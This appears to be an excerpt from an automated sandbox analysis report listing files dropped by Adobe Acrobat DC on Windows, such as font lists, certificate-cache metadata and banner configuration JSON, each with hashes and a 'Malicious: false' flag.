SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklJKHytfllXlE/HT8kaJ1NNX8RolJuRdxLlGB9lQRYwpDdt:kK5HyeT8vNMa8RdWBwRd
MD5:	2E96BAB3726AE10120956B2F66DAA1DB
SHA1:	735C09E002A74AFB10353A9C6643152DE4DF9EE4
SHA-256:	5109794A85B0A305018CAB7543D643AF9921CBEC6B9F2D7AC729A6CB2162E7EC
SHA-512:	D4ED5D05285D30C15F4CEF79633F841F723ED0D99A1F036CDCDEADBD90745974ABD02CD1667A826CFDD38AF766AF64D6F59C68C46394DB84B6791416AC610C65
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....:...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKbsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:DsiDImsLNkPlE99SNxAhUe/3
MD5:	785C9ED047C7C2F73AB38A3F3F107DC1
SHA1:	BE6BB94315BAF4038A3E669F38C12D1572D00C07
SHA-256:	E1CA86088E6DA56192276EB14FD6877DF3AF8502C9B8331D35C0EF9EA02EC432
SHA-512:	32B1B29B1FC5BFF66E134463130DA67E446A0ACD0B9CB40DC2DFDA7A3B728EEC04780F041A292BC618DC7D095DD0FFB2CB193022BE1DB4494847C5AF4A38AA58
Malicious:	false
Preview:	p...... ........V....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7256

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7256

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352366362142239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJM3g98kUwPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGMbLUkee9
MD5:	13D81AED7C281F37D9839DE381ABFDF8
SHA1:	7728185F8C33E04DAB893615BB7EC0B2E6D4A68C
SHA-256:	286B444903DF88CBA98725094D713F8604DA83337A970DD161A02CA818D021B3
SHA-512:	D628FACC4901252F9FD0E1D726283F40F7E3244AC529F3BA26146CAFA72AD8CCF4CEF975CB2936D7ED9CBFEBE2EA721923B2298F4EF3FC569CD1B0EF47B95391
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288041999176482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfBoTfXpnrPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGWTfXcUke6
MD5:	692495DA9D5CFA01CCAF43CDD5B6FB9D
SHA1:	A990C3AFABDCB5869C24035707A4359BF3FD7353
SHA-256:	462C661A120896802F16898286A19E28BD8AA79B7D82E2AF459EE983E141EFC3
SHA-512:	8FCB8905D387BDA212DDB87D7A9B2AD545E6BA4A7E5E8BC1F0AA5EF80C87B32AF302D69E08C06D6D96FD8B83134C5F6199AD73B956DE8E71F903282B72E82500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267239747145686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfBD2G6UpnrPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGR22cUkee9
MD5:	B23D9A0AA78DDD0DEA54262C5905FE6A
SHA1:	B2E229C2CDB374D7F7AF5B04C9DD9CCAF393B6D3
SHA-256:	CF2CA478FA044A12BC023CA680C1D1FCA53871C8F290FE02069FDBCBCBC9DFBF
SHA-512:	C55E00DEEDBF9F8EEC85635A206CEDA4C40F238E7DCC4C27E720F54B288B4F1D6D70DBCA3D05E72B29CB628004BB7ECB06097359B9622E6D667A26E1979115EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.328929048190167
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfPmwrPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGH56Ukee9
MD5:	D964F79602AE290CB141A73B1B927E5A
SHA1:	972EDFB461EBD2D0DCBB80834B87045D6A279478
SHA-256:	8F2278179F17ABDBB51D23C42CB63F7FB52F4175DF2694D8EFFF736AAE93A982
SHA-512:	47565276AF51B6CE63383A0C5068A0F7858E90636ED8DFED55057F8CD7FAB46A227300E4108FF2336EE1C7BC766DB28346B0D2539EB0706843D8B1593D4CB59C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6895763112514155
Encrypted:	false
SSDEEP:	24:Yv6X8VJhcepLgE9cQx8LennAvzBvkn0RCmK8czOCCSs:YvxVJhcehgy6SAFv5Ah8cv/s
MD5:	6E3C16D920508BF9C23ED7970F36A861
SHA1:	03A9B6C1CADD6F1D338188369B482CB0C2ECEC01
SHA-256:	794A18984F56EFD4DE8275DE27C53D62BF96DB77319EAB59B05AAA29D211EF23
SHA-512:	AB14D86153C167F0A0731D707293DF8941488A3EDB291DDD164D6733A61C0C629CCCAB65112C489563C50C8A0C77F169B02A54A0E73DACB5CA300DB6009783D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277304689737193
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJf8dPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGU8Ukee9
MD5:	8E3DF35BA9E34985D9571C9FF9A27EE7
SHA1:	661683D4408F5E2E9289E44BB17E349B2F08993D
SHA-256:	B6957395FB3FB6BAB932B6B406CF384CE54088281E3CCAA5F6B784C3D71C39DF
SHA-512:	9EB3571159CB418432DB62687C130DABB0369CB235A780407C0866390E56C5C9F26E790DD58F4EBAD468115B8E2F0BF03ADC09424344D7F6C8AE8A3C1437866C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.276782254498558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfQ1rPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGY16Ukee9
MD5:	50EE577C9D447A9DEF946FB5E9D6D2FB
SHA1:	A5E55D6A9529BAB28A98B1743932D63BC5C98FB5
SHA-256:	FC7FA2D71F0023302C5E6E7DD6CB15C919192762C34BF6FBB49A1B59748E87FF
SHA-512:	7A0F7AD2679DBA217231F4CC6BC262CE8CBD1B4D2660B6E34113F2463F3B65A0482E80D27A4F53B1744C9E45A317F27E9712AD7E2DB7D2F3A08F0442CAD9BB52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290716411997342
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfFldPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGz8Ukee9
MD5:	76C823DAEB14C584C3AFC7F8D56AA67C
SHA1:	F48F2DFF2A70BB3B4C1A958D3FF6D55E3377558C
SHA-256:	C1121418E438F69855C75EAF35B3CF6812627282E34F85F14B8B7F3D96CA4EC0
SHA-512:	201AA1693F53F2B721BD7B54C246F65959F6B8D691C065CD34C147F4536A65ACCF29EDA4C4E209133E4F25F31F476A29D65226FAD3C555567BCD1E132F4B9701
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304510058016194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfzdPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGb8Ukee9
MD5:	86391225D448D332DFE4003DBB4012D0
SHA1:	34DB104591ED09DE55E826AA396AA4EE59E04F79
SHA-256:	A3B37D970AA063D0AAC3F35926B21B5963DDF5ED06D8BE9DD8779B70541F8A01
SHA-512:	0D9EA74F0009481CCB04B9E19646DE6E136148B6393E6729AE085321D0BF99D5086D44201E3717CC0ED60AA50533661AD427D8D567DF322AA1212F9C5F211999
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285385759406488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfYdPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGg8Ukee9
MD5:	07F36B938B0C2EDDC0640A3E806B069A
SHA1:	08B52F8EF53A437EF2D560F9E281882FC7F107BF
SHA-256:	40CEDAACB7229328359E01186589B5A5CB0FD12780F30727E9657A4D47064D94
SHA-512:	C77208E97F5FF87C5B0A4E51461D6EF7A02FB00E8EC6C11EE2E9CD8BFDC7236F903ABF1CE38349F2CFD0B58C751EC9D1EE5C6C5A5ED495CC80AE07370D71DF5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271178839261166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJf+dPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsG28Ukee9
MD5:	AD3CEF27400ED7FFD40BDD3F05609291
SHA1:	B7ACB194AE3E8C296BF485D34F7F7B56728D0B1F
SHA-256:	7DFBFE396D0E6C35E189D9F088CAC1C8BE8C5F272257B8656D6BE82C720A6390
SHA-512:	6021BB53BFC0C95292B69BC4346B49CDC2724DCBE4624904606D8B9EE0E9523D11759D97164F758346AA291DBAC139BF66253A03796ECFE6ACA5B7A3F06E77C9
Malicious:	false
